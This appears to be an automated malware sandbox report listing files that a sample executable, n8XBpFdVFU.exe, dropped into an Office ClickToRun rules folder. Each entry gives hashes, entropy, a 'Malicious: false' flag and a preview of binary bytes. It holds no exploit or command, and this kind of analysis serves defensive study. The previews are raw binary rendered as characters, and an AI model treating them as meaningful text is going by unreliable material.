Preview:	<?xml..R.Z.#C...> ...."8..lA......v@.k`....d......Z.M....k...F...s..EZ.V.z......@0e.M.B8.?..k.1.._....y...9.d........u..A.&.....x.5[. h.R.]...\|#.Iz..5}...l....8.t..z9..m...$...J...W.X..k....1....jS...k...=...a"l.-.v../......+.._fn^;...a.!....+v...#...+w..E.n..{R....:nZn.v..n...............Ra!...k.!7t.hK.....7PxH....4<..@c%.....;)..5..M.@...z`..a...'p/9s^.H.U...UAq...i7...{.......R.mg.......%%.....z.[Z..g"...Ju7.q9,z.[$.Fum...<W.t...qC......f.......c..8.....L%....p.....U..x.9c?.m..M..d...i\|.:..,.1R..9a~...%.A.\....=t..oM..`-..`..}.`...?...e.."...'.....n.Y......gca.`W ..S.9.kC...=..4....Q.K2.c.\....A/.{...;.p...B.E'Jw.....@...s..Y.~....8.\S.E.d.\|%W.+Q{[.aj.....9.p....P.\|L..#...sH!4V%....(....6...%tXV...{.....j.MP.Df./.L..:...f..k..4[.0B.<kb\|.-9.....#.K...G.=....Sc.1...U8B....#y.(..&.E......\|..h.o~.S...rj.....x..NG...@...(.{.t.a..R..^.....3.2...BL@.7...Kb.J..m.*..0_y...gpU........Yi.:...gJ(......]...SLibyJ8nZP43K8X6Ycor9IxvOlsKH

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10940v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	885
Entropy (8bit):	7.794116987609919
Encrypted:	false
SSDEEP:	24:NosI7JpqayXcueukH99yxMXskXLWZDRbD:Nof7TkzeXH99yxM8kXKZVD
MD5:	042A74F5851AB54D064F77AF3F7C1A8B
SHA1:	E8276656073C7C5506ED46F9C6345CAC9A0AD973
SHA-256:	7D0BE70BFF54BA28AF09F0D2A313CA83962B2C51E8A982A1B1EFB7FEAB8A5DC7
SHA-512:	926EBDEEF01963970B26F808350808399DD2041FEF16948BCFEAACC971213B933783B431C45807CCB27327722C18132AA70B0964A1F821757C549DAA4E67A706
Malicious:	false
Preview:	<?xml..#z.eu..."........I.;Sv....aB...VQ.Rbx..X.?..c..<~..l.:3 J..`...f.Y.l.V4=...,.-..K...R.R..g..#...!p..X..)..!....?...,.a..LT....~..2).b..cA.?..f.L.<A....@.'........m.)T.._....d..r..r.a.M._W2....Q.F....]......).'.~>.@.Uf$..~.3.-M..D..._.~.X......6q.H...<.'p..H.7.}kZ..B.......@5.Df#..u........9...q.../\......[..QZG..T\.....t......V..?.sw..9.1.T....zr....d.[.h....v.Rn.#?..8...?....FH.O.9$C(=.....E.:@..#@\|M.7._.E...tz.;..]/.X...=q.......Y....c... Aj.=...H...G....-..Y.k.i.[...'.......0......%P..B...~'?xz(q..{X....6.$...3>40...\bgEb.5..C.ZZ.ms..\}..m..O}.{.]..U..<..X}=...+.p).Q.8..[q..[D..8.....d...Wb..L8uv.%......U .M!.^.b.^Z?.:.sp!.P...e..M.6d..dE.&."I^..hX....>*.my.....Q...$..Jwai.:.s.Y.. ...L...<l.......#...k.......aEQ.Y...l1..../.,0.qu....D?4..._.n#7SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10952v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	8529
Entropy (8bit):	7.979595292253184
Encrypted:	false
SSDEEP:	192:iHkaqniFRxQhhU3aRTVvDQv6ni+eX5+NMc1XP3fLBJaEeUYo:i3XPOhhKa1VvEinLygXLBJaGb
MD5:	C249B51ACB337662CDB50CBC42616739
SHA1:	86640C2445AD650AD681B22B2D5E570A7CDC3638
SHA-256:	33E6FAE7E3925C7D54CC6DDB119A082DFA59BE1EF040B79DA8CC877048AD29C7
SHA-512:	2122C033E40A0ED90DC555522C6C47DCC0F29E844E571A9C48492345AA05D45D7428B970FEA1DEC74EE8D48244FD8B4189F3180A6F7BA5172490DA5CF7B0AD51
Malicious:	false
Preview:	<?xmlG.. .z..V9._..<....mX......+.....Kq@........._p[.....#W=.......L.(..T...:...W.Y.i..U.R...kL.&.:..`].Y.U..9. .)C..s..)..[a...\.m/a.8r......?!._.......{..Hn...~2!!....nh..>..0}..-I...{z.8`.V7&....[>.U@..Q..w.....-I...rT........V8&...0..#53.6M..S..pU.....v.6XN... ..U...6..R.`d..2.C...O`...D.,.......@&s..&..7.......:A.s...{..>.v.mD.X%......{..~.......3...i5S......\|.6.....]M.ug...v....v..F5j..e.>...{.".].N...W......_..........qM.....+..........=....tk......=..,.3.d...M./..m4.......'.{.O..6A...,..7.'....\..J....XP..og...&]6.L..BWd3.....WY'^.tg.]'...^.6<..A.>.Yt......R.[6..c....9.B.+...u.$.x...5OZ...S.:I...K.BX.zK....h..s....a.k).'24.......(.#...~.eG...+...X..C. ...y..R.:..M.O..P3......R.]c/.....a.....cYx....a.+..~..x...{.Yrj...A#..C.y...<l.>.../.c..........=........H....}!...C........+.I.6.V.4i.."e.e\..X...Q...0y.lhd.a.gw.%.+.Qo.~....h.0..C...ab....cjI.....lI<....I...,./R..C..S...N..2T.......rE.J.g,E..M.v...[...S _......6..>.....c

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10955v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1242
Entropy (8bit):	7.81500087092361
Encrypted:	false
SSDEEP:	24:tLJvLXfOLTbD7vqQOe5HoeQSqWsyK9VRbfz5JXscff0FD9fFUbD:tLaGQ75oe6fttJcc30tmD
MD5:	C0782CE8732F455CAB6F2509D015AA45
SHA1:	A499A0AC69E0599A01EF0776E063BA4E071547AD
SHA-256:	A1930371C6058FA27D4486B3127B3AB86F6EBDE8684991DEF218D23B1373FF88
SHA-512:	FB920B9988ED66A9C38E52720B91C37E3475327BDD97517162C085BAAD38196793C3B5A85749D9526F93EC20DF38E9C3C8B1C5D7A97CAEC2C770EE4C863F8333
Malicious:	false
Preview:	<?xml...H..:...M.v....Ii.T......Y.k.....`....#G..G..X.b/.e..$B%R..(..n&_...X\|.0..$X9..&..e1x.GC.0Mpw..I...../a....).L....[......g.g.z..wE<...L..4.VL...(...J..R.T`\|~.B..;'..ES.1~E.o..`.R....#....C.b.p..Z..j..j..5.:azf7..p..e...}U.o'...C...c..=.+...&.U/.\...E..i....^x.a.tM..(.........;..$1.9.zL>T.G.}..>..B8..._..P..:........{.V..c....".U..J.<.Y........(.R.9Y....W^.>x.9.S...i...9.f>...j...3 ..dY@R.O...="..>..lG.R...mPi.b....@.%.@..{h.......`.S...&..9K.e.&M^4W.]A.Z~..q;s....).N.."?~...{r.]..8.K.\SV..3.u...\...U...p......p..f.C.m9U.Rci....+l..OPFSHd.3>e$i..C.......UB.d...N1.Zp.m.,..'.r..4...ow..C..m...5.GT.:.b..?.{,_.1.......UC%>...[...x.....q7..N.....cCm.@............i._).........Hp.?rOr..OM./.01.G.8...v..h.....W..K.....<.=.(..".C'\.Z.hg....Q...~...B..Y..y....k.iOm.....Ml.n..9......esf..y..?..`.E.D.tiM.Z..w.W2.S.0ra..._..p.v6..h:.G)u.P...c..1.O...~.S......(vz...8....#..q.S..b.(.....9.Lce...........S..R-..2<..`=....#T.......Nw...6..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703251v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.884342448985995
Encrypted:	false
SSDEEP:	48:OdZM1gRPa/lQi52rVOlRXSUoh6f4EAS574rKD:Od0gvAdSZ6f4s574O
MD5:	447D4B5952505C733D41A08A96DBF0CE
SHA1:	5B6424316BC88EDE4DF4CF0F7148819FC3F1DD05
SHA-256:	6993982B57453D57613418A1B1AC8F5EDE6DFCF3AAD83585F90643572A494AEE
SHA-512:	C17514EF7494CF31EED8E3A97E518C69CCFD54D6EB301B60F4F9F4FCF229AEE4DAA35B943D65F2DF42B832880293180A1408FABFDDE56EB5EED502B7B2B1523B
Malicious:	false
Preview:	.<?..........eEi..?.@.j...s#.D.".6O.....c$Fz..E.xq...".,/.%.H..t.&...U?..........9...p...z).EQ(..?.qb..k..1.....q.H..19..Ft.n.?......K.,...s.....e..yGd.....b...fl. .........@....D=,...)#.R.z.9...B.F:...H.v..\..~....?Xx._...0.H.%B].5...L.........O.......aneq...'.:{J..M..[..cvk.gN0.V..W...6.....@,.76....&y6..J;....}F.I.J.g.`..GRh:..).....{.j.Z.U....a...+_i0.&..>W.X..<N.....uj..Q....(F.6.#.7.L?...y....Z!ic\|.r.34.b.^....0...).=.'rp..=.,...4..M9........v....<....5..7W..C........`..4....K...!Kk.e../...=...A[.ep...gFg.D..L.....O.v.A0...r.......?.I...Mf....NiIu.n..7.TS.O.f.>%..GT7..0....m8.......U.G.R.K......i.7SY....C......>}..e..{.0]v.D....).:Wbt%Y.#..c......w.R..5....._.E.1._...#%f......yRiD...1.<.;.]......:...f.3....vSR"...RB3.........j,E..U...0.g...Kb....es.R..Y.".(..>.i%4./.....e'V5.Bb;. .....Jf..y.9\|...Ac0?.Y!77...W'D:G......+.Q...HU...;9.....U....G......p,B....&e.,,..(=...!d..I....$.e...D..x.+..YETO.(N..SEAz.}.....g..}/.d.\.>y..=....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703300v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.8974543561094315
Encrypted:	false
SSDEEP:	48:kyHdfrjxje6d0dBBqP59zQPDVlOjk2us/cDD:JfXNe6qkDbjz5g
MD5:	6CF664384FC907F646B28CB2A31810A6
SHA1:	97738B924CDCFAC62B4FAD33CD990368E4F60160
SHA-256:	CB1CBF86D6ABB0C2D0110C2384E31C7E0F600AA0185C22C166F75AEB623F3D87
SHA-512:	9112C8353A6A187869DA2B6F8E99B63825D01C4591F4043A741CAFA09AFA84017E1BA7352D3AF8E6C6B4C247964F6990177C68F70C29BF7F8B53B462A76EDFE9
Malicious:	false
Preview:	.<?@...&.n.....4U./>.d..{i(..ij.YA..$..J\.y........TB4EQ..t..,:..:.....B.-.bU.z...z\|.......`.(@.u..d.>I.U...]..).....q..OR.h....A~.T.0"p.'k....Fb..2..?.)..1.A..5.A6...6.V,S..I..E....%4B7~.....8..U.X....?.HYB..6)$..=...=.Z...9...#.9.&..M.c/..z..2.....M....\|.$...H......\.w..#i......Tb.....'[..\|.c.}....fTC.^.z.r......1...l0.~...P.._..1...1R..w.....?a.S...`g$..:L4...D...R....c9..P.f:...}...7.N..[.5.;....2.8..;q...~Q\m.x.S.4.........=>.+.....n\G...8.nO6.........TZ$S.r.ym................-...I`&..G{...b.r.Ed...[.....#"...o.7.BL... L#..Z.-e....i.."....~D4.3`U......b..E..t>L...w..?..2H4......v....O.`... F....N....B,.Hm....3..).N....f.5...\|..\|e...c...=<.T...R...;>.hQ....R...3.z...3N}.qI..U..e.f..;?.......>....j....'..r..v.p]...o..o.s>.<.?.....1K....Ad.........E....b............L:..IP.?....B...-fi.5..v4....NhkQ......B.g.. _&...qQ6.......%c..m.s...!...s....8..t./.n;..m.....-.....m.u%D.U...mh,..!..W.dd8&.S...a..jp.^...L.Z.<....v..%.j.]v..(.0.zs

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703301v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.899934213646348
Encrypted:	false
SSDEEP:	48:nAi3kafa5+zW9VxsWjSN8reHq+59r/JrnhGuD:nAi5i7Yqg9NjIW
MD5:	D9132C4133B248FC1BE7E474ADDE061F
SHA1:	2018FC9F651018DD64F63F9F6AEAA604FC59DD20
SHA-256:	A021B901CA8CC7A80B82FC508B66667F2586E96482E84526EC11C86C2B2DB730
SHA-512:	BDFC4ECA72A59E55DEBC347A43FDDAE4DA53C3DB7276B43B22758EF58AE0AC1F6CE1A0FC9534954E4D3C358405FCD04C129922D6B0F62666BCE8375F4DF72C07
Malicious:	false
Preview:	.<?..5u...}...49..A....b..@b....0.9...1H..1..@..Lw.....ZG.).l.(.^..C...Dj.2k..A......o..z...)yx....Ez.'O.L(.x....Tm..x....0..]...%.C,u. .....@../.Y6{?}.....i"N.........f......\|.q.iP..G..{h....q..v..b.+.j......G.C.3c(..k6.4q...s.p...a....p.R..PU..........h..7..n's..[~-..R..Z.[.^........Rp.}..0/I.4......,.t.\...9...+..y..L]..,..H.z.w..)......$...Gu.:K..B.a]..b;.{....{.....$T.+...d.,r.e.........M.U%...Y.-`\..7.......~.PT..G..T...Z.b`.s....Q +M..!8.euu+..Wo..=..3.K.....!./....zIE..wm.\.\8u...c.K.3...P.....!/..f.>....h..w.w.A...j}.q..!.g....G......u.A..0...$.q.?.d...1.A........Hom..C..7.1.`...$..&... f..I....4.\ne..f."._......7...`..YSi%...y!VAJK.6.0......,vq.&....B...t=...s5..z..9..........).....`..?-.....j.nK.6..o8..cL_zdW.0\.~.A.'..{....v.0..U;.....I....M,.-.r8.\|.3.......:.d.BK?.P..._............j.....2..j.1/..E...r..I....o.Y......2.h...........P.fg. F-..\|...c~...,..W....6..O.a."............Re.....7.'...Vp.m-3;O....]m...-....}-=.g.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703350v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.878118289750295
Encrypted:	false
SSDEEP:	48:7vLKuaaFh0Si7mplz6dkyOEGyULf1y03K0RD:7vGu7iRdoRRf14g
MD5:	C2B47F906260C1EA0B05E08428D10A62
SHA1:	E41922CAC51959A97B4EC1B05159A0A7A8CF12B3
SHA-256:	9FB5B6E172DFB66F269BB3AC3469B51D78387C013CA94280C61C6A433BAB7FD9
SHA-512:	6125277013A2A669ABC49FEC0CB561DA2E3793459BD4530DF8BAA1164C19409DF5FF7AB9F3716C6C73AEEAC8DCA3AF267AA4CA817F143524F30A74AD6E97E89C
Malicious:	false
Preview:	.<?Y\.0hW.R.l..?5..B..k..b.....c....~._.R8.A.F(...b...@p.b..P......[.0/...O......~..."U...b..(..2~..5..f$\|..L..-w....b.....:h..@_..o.y...u2+...R.3...T.........P@.....%......"^.....b.../.+.%i..e..Q...._..?t.##....+....r4:,[7v-....i$$\|.A.P._-....8.......Y..u.....Y....jy4...(...GTH\@....'_..(].A....;.s0......n.._....H..,9.YA.fAL_....@c.........n.\|B:7.....`...{..0../...weQ.........C.......B.x.(t.~..z..r..xJN.E.... .8....R.^......2e.<.B..wBf.c.....qV.Q^#VY%K[..:..e2).........;.U.yn.....2[..../v.X......&.W...I@N.......:.-..p...c....D.\.C. ...=s":.^=..f.]...w&......l...E<..?....b.4r.d}.&k,....$2./P.O...G.i...\|..i'.= .../47...LFh..D[..7"n...py..F.........9..yV...=RReK...[...:5.b.e...I.w..>e....d...m.....R.E.^.R...X.W:?..d.,..Oy.[>..q.....D.%..3.t...e2#.F..C......E.5..\|y...A...C....!dl.h_.j.+.G...^....?.....9..kD.3..;........'...?K.Zh.w..u..Q.GY6....fcA.T..w... .5..S..>o...C{.k=@..;.@X......oT...s\|....y.gk.%...5...<.B.g.).d..?.q..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703351v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.8787956097208465
Encrypted:	false
SSDEEP:	48:Cm/OklZzTQGDIkfQLlT5vRD3KfIaEJ5AAD:v/bLQYYLF5tCsoc
MD5:	AFA4AE8EA2D138C5E62A0256EE7117D3
SHA1:	01ECA0E9A2F3C26C8C18D034D2789FD0C3BA9451
SHA-256:	E462A50FEE0FC5E50EBC1D272FD7F10A06898E458BB8A21083E9E56928DF3291
SHA-512:	BCF781866C65D78FA1BE2B3700BEBEADE6241A71212C4BD5F6A1FDFC5CF02516C8AB3F857DAF6D5B2FDA178083E60F32A3914F4498729CF89E68DB4CACBD14FE
Malicious:	false
Preview:	.<?T....A!..P8..KP7..;.....E.."...}H..=v....Z...}u..U....S.....1........r.n......W.........%...B.'_F.z ..m..q......Bh...}.i..!.uv.K.U.;w..;^}a>..>...0.....+\|.S#...k..(..D\P..^..t5.>.m..S.].~.o#.I.b..9......4$..&V.i...C.z0i.).QPa......:n=`........$.W.TXg..^.+.0F.O....z$M....I.;"s.'.#.T.s@.....}"...l..A.o..Q7..I.:27n....0...$F..F).V`..".J....j.V...<.:.3d.L.mE?....0.}.K...{.. /}.}.r...2...m5Jh1\..V!...}.a..J.YL:...,...h.........f...Q.S.q....#re...T...g..._s.II.......c.4.+..Gs.d:.AUz0jl..c.U....f..At.#w.J..%.cW:/..=...}.1.~c...2.u.....j.t...d.0.....01M..K..6.....so.{..a^@.s._...ZN.....,..>......#*..4..[..@.on............k.q..l...N.."... .;.FO.}.H.^.idsP'..lU.i..M%..kv.K...n\|../..N.]..tc.}...q. \&&^...E....E'Nn..O..JfMR.oz8@...'.=.M.k.c.W.'..~.C`....E../.7m+..O..z..P..@.v#.D.?.$.u.)..........q..XYQkG .s.m..J.z!..(.~..C^....L.B[..z.uCI=.......\|/w....TkP...C.c}......)`v...j..b.B..+.....?v...@x..}..@.y.xx .K.-m..q......$..L..F.....;...""...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703400v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.903949843485236
Encrypted:	false
SSDEEP:	48:1zlpqf3jU2zstquIGFKI4CVT+Ywe7HUOObCoIgD:1lpqfTU2gtTcIvwUF+CoI8
MD5:	9718FC87BBB0A1712C2FA7B7527886E3
SHA1:	848E08D4DD5CFF5228836627FF8F77174D65642E
SHA-256:	85123CEEFF6E4775554054E936BB5DC85E24530EB05EF71822C8DB99722DD7FA
SHA-512:	8246CA222E687D484477BB9CF86EE1A61F227BDEE99078596A4E05950A3144BA11B98B78B99BEC397E5573702592133EC4065A21C190E797457B826C9CCC24D6
Malicious:	false
Preview:	.<?Z.......B...>z&......&.~.v..&......@.H]..W!9....p.a..t...^....s...C.5......1...u.`.X.Y...3..;....,...g...t.V..\|...t!uc.O!%.......E..3...._..1k#.."v.B......A.....i\|B.,...k.Q../\|..J....h_.\....A./.to...?......iWY`..2yA....ums....}..1mBS...{7..{a_+..}.3...M.6.#...}B..z$.61y.....3f..o..R..I..PO.tQ.WtI...0..k.B.........{M....._...Z....r.0\|..&..^w.....^....N.....wO..R.ff.@.........5.*..!.....,..I/..@x.w..M.5G.h.s.$. +.K]..D..)]..S.......e..W.....f......=>hx_.-r.[{;:...S.....'\.....HL .....Z...W.Y&.lCY.......f...8kC.,.6u..<..K/.gh.'V..taF...m..V..[..0.O..............(j%...Y......5.x............Q0..6..U0..........DM..s........w..JD.xfL.....7.....9..........C.P...D..I..UC...x<..&.{..S.......H:D....<.%..m......>z....#.S..s.i!.z..WZ._...D.1K....`...%...._L...$e...H;S.9S~.R...\|..V...7.Q....U..8..D.3r$a\|....{..N...........G-.........3..<8S...(..op............-..,Cq~.....1@S&....{\..5...I.).hC..5.[.(.a.'cC.Ctt.^.0er...........!?..T.A.....t

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703401v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1759
Entropy (8bit):	7.8902391551658315
Encrypted:	false
SSDEEP:	24:ySVxuye8jZoplUGGpzrsmDxtzaGtYaItkbTXaQkMtelqzQZArzKDT2sCxDGZ+zZg:RDrjZo0REmDTzaGGaIWbzamtbG6CYgD
MD5:	D1252E044EBE846FA68307F9E1576006
SHA1:	9765EDFADE45756CB84EF2785FEAA2EBAF37B034
SHA-256:	74260ED83D714DA48FF02B6C8EB37009D00535FC873D73517FCF7F93DD0043B4
SHA-512:	68B7AA4CB19CCB3EC0DCF8CE8FAD288CAE1346A0212A737E71C44AE6F8AFAEC48FF0CCC25CCEEB0EB91DBA6FAB12C9BE465CC493C4702FAA09FBB27C89D386B6
Malicious:	false
Preview:	.<?..$.\.N..#.[.b.v.}...k.L@5._..to..e.y)M..s.J.+A...@.F..7...p...e..Vo.p.2..j......@.i...u%G.....C.......u..8.{./....a{..@...e;...2a.A....~..o6'i.h..8.%K....0O[...y..P......k..N\. ...p..N.ow]._.....J.e.Vl..}v...../~..P<....j.{J.z..Q.1........ .ELZ.G.....e.....f~.....D.\.1>.......#7Z.....t8.}..F0E..f.A.E)dL-N.FyvE=\..q.A.=...w.T!.z...h$...M..Z......i....[.......eV,...c'..?..?..4.;.au.3Q...[yk...u{.. .JO......L.)X(r.Tj.v....}..1.....d....q..[...O.....j..$.....yr.D9c...Ne.$...}.....&Q....y"a.I._{.(0G3.sP.+.f....H..E...6a.}Ds..~...&...... .z...9...{<...6g.B#..d.b.v4.Q.;...2v.#3.[\|.drl.b...... .......8.../..._....Z.k.p".;.n...?`O..........&.J0.....W..q....9."i...S.J.:......f.x.8...F#:E.s....I."+..U...K..eL0.....5.?....:!~1.~.r..W....T...fu#....{C{K....m.f.6..M....x3VHB.8..j.~.....?.../h....(......M..Z?\i...]b=L. QBvZ.U+Z..\|........oJ....S..S.U.@v.:..kTG..P.O.C.p...c.)..6..+m.......lqp.ab..:...G,8.-..qU..T...~....MT...n....Hdrf.I.....0.F.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703450v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	7.889308819933572
Encrypted:	false
SSDEEP:	48:I2mHwQ/TfG4ePvRR6HKxcytTtUyrU7oQwHD:vmHw0ZHKSoyqQgj
MD5:	EF1F7B7F084706FAF293125AB84F3B6C
SHA1:	8B1019D26D90D7FD89807EBB327E1DA5325FCA39
SHA-256:	9DDA7E99BE818AAD0FB1CC7D38C2B0BC0FA68E4CCD97206A488AAA59FFB896E2
SHA-512:	5EC4C36A35B71650A0B54E2CB479C7DDAF31428375B3400BF104F841ED0EE65E2032C41F22DD7752A3E160BED6936BD0788152BA9E70DE72575FE4DA40D4B7B8
Malicious:	false
Preview:	.<?..nK..../Pr~E..m...K....7..<n<..<U..t...i......h.5...m...rp.J.z...+... ..w~.S=.h..R........'V..1...M.4.7..f..?.....d..r.......I...#.C.m....@.Gf;aU{Ro...d;.S..W........b.n9Zn....C....j.FA&.k<...w~....L.zxym...$.5...saL...uE..#........S2y.$}.._......g.z.$.}2.Sk..Ev.....\......o.v.k..Q.MS..5....g..:%'...`....q>.B..W3C.Qz..[NS."!c..v.....b.:.[?...v./.km..."...[.F....p....{.Yc.P(...=.......8....9}...8....);.S^..6.q.'....).G...../&............7F.Zu..X..l.<x.1..e....%.....c..-z...x.[...p..~n..;....\|}x...j0.h. ....D.\..{e...\|...<.s...X..9....&H?..J7./2.zD._.,..13....k._5....r....R\|4.3.<...].H.N.adK5........}.....7=D.]....S.z-P.Fl.....{At-...`@..Qa.5.>..6.o~uD._...U?.m.._9..5~...e...7....%..4L 9.n/-j..^l.:R+\b.\.O....f....q8.`....G.~1]J3.....@..z..s....n.AK.q_n...3.eS....,...y&.../ ....;......~...hO\/.p...z,..]m.u.m..W6..^...ek.B2...._V.......l=...m...Q..9......Ak'@H8:DbvA....y..m%N\NR...}7.l)..#.9......hx.?..b-....gw.ji.<.G.,L.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703451v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1743
Entropy (8bit):	7.892130241382449
Encrypted:	false
SSDEEP:	48:3PBJcgoIRX2LdIG/HseNxC9zlJDI5H+neCaopFD:ZJcRIX2p/HPa9HDKoZB
MD5:	515E6D8D93A0C34F2F01E98E65E15A5D
SHA1:	6D3BD1CB9F5DB34A15FE0A6E09EB68A4444A3186
SHA-256:	AE335B1F5C2B1478BCEA6F9A189F2E1C62294BB8E14379E0E03DAD3A5FE49A92
SHA-512:	A87AFE22BECF7D86BE30B0D1F28E7E464EB3D4FFEED77AB4AE2BF43A45F662F882E95FE1ADBC7707BB08C11F0B3649DC9CB6E331E8E4CE692E7A5AC060769B8A
Malicious:	false
Preview:	.<?......1..V.........._[%s.._..f....PI.2Eu`..&l.....h-k21A...m?.t.O.I....>S{...Y."v3A.y...e.,#Q^2...6..S....!0./...q.#\...F...P.x..2...O{..2.=oG..8..w0Gue...XG.uG..B.ds.U+...3.z..O!..M......ZZ&......Te.....`;9U..%M.h.r..._..-....8/./...[..Y`i..9...%bQU.....l......Mq.'.k.h.A{.Y.d....E.4q4uA.hv.R.....a.3U\|.;. ..Ui...:.j(...~..<..aWBL..:..i....QMZ..BO.c.q..f...^s1..Q.ao?~7p...[3.n.7.x.Y....G...............q.....j...ov....-.Xn.K....s..R.5cj8P.[a.L..-..........DV.r.7...I....F...fc.._.67.:.?.d.E...eP.=..-. 3.....?..J@..:..(`.(h..V.)..E.[.'.}..c.e"b"..B.^....xk..R...\....BV.M....z.H.8X..pm.?:..F...=..?.....s......[n..:A8..;.......Xn.><..x..l..<.{Q...b"..d.T.C .1-[.Kaj4....8..}.....n@Vh.......b0Z.}.H...C.3........,KJ..........$.{9...^.cG..W...,....Q.n$.]A>..F.P&..I F../.d.=.g........[H....U........n.Qq...[Fuw$..`V......"....;..%;.^...a'.`.Pm...y{,.=n.X`..zA.u..v.f.r..K]...T.G.V...:..{.'I....:!....)..H.&.x.....*.z....kQ.n..QL.4.>..K.".J

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703500v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.874187844408228
Encrypted:	false
SSDEEP:	48:4WQZ6MMUrIDqgZSCkVvU6WfFswfU0+UCwuGI9D:/QSaSaKfFseU0+UCH5F
MD5:	539A0FD54993CE0AFF726EDD540D95A0
SHA1:	8633D5B88B58CAE348CC012C94422D0B9D3F72F3
SHA-256:	8C28C088A315AB6F311DA118E79F449F88F05291427DB9B9C9A3748DF403C27B
SHA-512:	95C8246556AD18C6AB14C5048751712CCECC7898FD08B34A1DD144D3AFF12CF801E3F9B2522C059AC23656091F078978892BB3BC66AB1F9041935A2A6B079BF1
Malicious:	false
Preview:	.<?.p..AO.......Q..N..5.Q.sN....^..8z&.....V.y...Z........E.$.$...s...EY'..TE..34.....@...1jG..n......2.S(.f..v..'.^......\|..x+......`..5R.9....c.6.....P...,...z.x.=.K.P.A.r....\?.T..q+<.....&../.8..,.....\|.r4.M.......m...Op..w...2.^..P.DX.Z....Y...ST.d....)]...Y&.N..=8.(.I/I..2T$p.\-./....L..sx.} ..L..bq...v.j`..i....&.;$.j...k.r.....IpN2\2.W^.8..8.\....X.qoO..QF@.....S..5.....8.W.?...Cy.u.X...H.D.U..nw..@!>.6....qO.qyk..t....)&[t[.YooR\\|!........>.A...@...../"..h.s..a.,dbBbhu.eJ...0{.`1l}.E..l....K.l.LI!&.....#m..$....3.L.SV..7....-.c.Et..@...GS.;x......../1.s....t..9-'(d...<.6..t.Q.B...?....C...m........;.a..6\|#+QB...Z:["...a.B....2)^...7[..\....>..yW;..n..H...<.J9..EEu:...B...QT.......y.S...QR./..3F....y.v.y0-'=.f.2.../o_.V/5.b.S..Z.Yv......4;. ......7OE].KR#.F.bl*..M.W...(.GJ.2{v.U4...P..w..c.m.3..d....)i)...o..N\......~.}-n..!!h..~.3.v.9...U.!..q.+L.1..^t..q..U.].c....2..p.....G.w..O..9...D... .!9i..r&Y....n.B0.)...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703501v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.888901839830722
Encrypted:	false
SSDEEP:	48:V7wRANXI9m2SAPGTpkRxcsThbeI1Ix+w6XuxHFYFD:V7wum9DS0GK3BTux1e4HI
MD5:	CF10CD92FCD7D2135445BC51AB040D30
SHA1:	57B42E34A5263B342D1939FFA22B5B28073975BE
SHA-256:	659E232C04BF07D3DD0281A23B918E4458ADFA0D62E094599B9EA970886F75C5
SHA-512:	8EE436F4258469E96F1831984DCB7FBEC669CCC97C98DCAD6B2F0D4BD5EBCC80454F90A33BD887DE9DFE36D59F4E7E0A8E9E721A4AE043E16B93E07D005B92DD
Malicious:	false
